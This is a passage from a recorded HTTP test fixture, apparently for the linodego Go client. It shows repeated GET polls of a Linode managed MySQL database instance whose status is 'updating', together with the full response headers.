Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: 